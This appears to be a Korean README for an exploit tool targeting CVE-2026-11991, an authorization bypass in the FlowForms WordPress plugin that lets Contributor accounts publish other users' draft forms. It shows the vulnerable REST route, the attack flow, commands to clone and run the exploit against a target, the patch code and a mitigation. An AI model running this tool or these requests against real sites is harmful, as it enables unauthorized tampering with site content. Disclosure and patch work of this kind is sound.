
CVE-2026-11991 자동 익스플로잇으로, FlowForms WordPress 플러그인의 인증 우회 취약점으로 Contributor+ 사용자가 조작된 REST API 요청을 통해 임의의 초안 양식을 게시할 수 있게 합니다.
| 속성 | 값 |
|---|
| CVE ID | CVE-2026-11991 |
| CVSS 점수 | 6.2 — Medium |
| CVSS 벡터 | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RL:O/RC:C |
| CWE | CWE-639 (사용자 제어 키를 통한 권한 상승 우회) |
| 제품 | FlowForms — WordPress 대화형 양식 빌더 플러그인 |
| 영향 범위 | 1.1.1 이하 모든 버전 |
| 수정 버전 | 1.1.2 |
| 연구자 | Phantom Hat |
소스 코드 분석, 입력 흐름 추적, 패치 비교를 포함한 전체 화이트박스 사례 연구:
FlowForms는 flowforms/v1 네임스페이스 아래에 REST API를 노출합니다. 게시 엔드포인트:
POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish
URL 경로에서 사용자 제어 {id}를 받아 초안 양식을 라이브 사이트로 승격시킵니다.
/publish 라우트의 permission_callback은 일반적인 기능 검사만 수행합니다:
register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
'methods' => 'POST',
'callback' => [$this, 'publish_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts는 Contributor가 보유한 기능입니다 — WordPress가 의도적으로 콘텐츠 게시를 제한하는 역할입니다. 대상 form_id에 대한 소유권 검증이 전혀 없습니다. 인증된 모든 사용자는 사이트의 모든 초안 양식을 게시할 수 있습니다.
공격자 (Contributor) FlowForms REST API
│ │
│── POST /wp-login.php ────────────>│ (1) Contributor로 인증
│<─ wordpress_logged_in 쿠키 ───────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) REST nonce 수집
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) 초안 양식 열거
│<─ "Form Not Published" ───────────│ (인증되지 않은 응답)
│ │
│── POST /flowforms/v1/forms/ │ (4) 임의 초안 양식 ID에
│ {id}/publish ─────────────>│ 게시 트리거
│ │ ← 소유권 검사 없음
│<─ { "success": true } ────────────│
│ │
│ 양식이 이제 사이트에서 LIVE 상태 │ (5) 초안이 편집 워크플로우를
│ (편집 승인 없이) │ 우회함
Contributor 역할의 인증된 계정git clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--proxy http://127.0.0.1:8080 \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
| 플래그 | 설명 | 필수 |
|---|---|---|
--url | 대상 WordPress URL | ✅ |
--user | WordPress 사용자 이름 (Contributor+) | ✅ |
--password | WordPress 비밀번호 | ✅ |
--num_forms | 열거할 양식 ID 수 | ✅ |
--id_start | 열거 시작 양식 ID | ✅ |
--proxy | 프록시 URL (예: http://127.0.0.1:8080) | ❌ |
이 익스플로잇은 세 가지 자동화 단계를 수행합니다:
1단계 — 인증
공격자(Contributor)로 로그인하고 wp-admin에서 유효한 REST API nonce를 수집합니다.
2단계 — 초안 열거
지정된 ID 범위에서 GET /flowform/{id}를 스캔합니다. "Form Not Published"를 반환하는 양식은 대상으로 수집됩니다 — 이는 공격자가 소유권이 없는 초안 양식입니다.
3단계 — 게시
공격자의 nonce로 POST /flowforms/v1/forms/{id}/publish를 전송합니다. 엔드포인트는 요청을 수락하고 초안을 승격시켜 양식을 라이브 상태로 만듭니다 — 소유권에 대한 권한 검사가 전혀 없습니다.
| 조치 | 세부 사항 |
|---|---|
| 패치 | 일반적인 edit_posts 검사를 current_user_can('edit_post', $form_id)로 교체 — 두 번째 인자는 기능 검사를 특정 게시물 객체에 바인딩하여 WordPress 소유권 규칙을 적용합니다 |
| 완화 | 패치가 적용될 때까지 플러그인이 활성화된 경우 Contributor 및 Author 역할을 제한하세요 |
// 취약한 코드
'permission_callback' => fn() => current_user_can('edit_posts'),
// 안전한 코드 (패치됨)
private function can_edit_form($form_id) {
return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),
CVE-2026-11991-FlowForms-Exploit/
├── CVE-2026-11991-exploit.py # 풍부한 UI를 갖춘 완성형 익스플로잇
├── requirements.txt # Python 의존성
└── README.md # 이 파일
이 도구는 공인된 보안 테스트 및 교육 연구 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 전 세계 관련 법률에 따라 불법입니다. 저자는 이 소프트웨어의 오용에 대해 어떠한 책임도 지지 않습니다. 소유하지 않은 시스템을 테스트하기 전에 항상 명시적인 서면 허가를 받으십시오.
Phantom Hat — 독립 보안 연구원
이 연구는 책임 있는 취약점 공개 절차의 일환으로 수행되었습니다.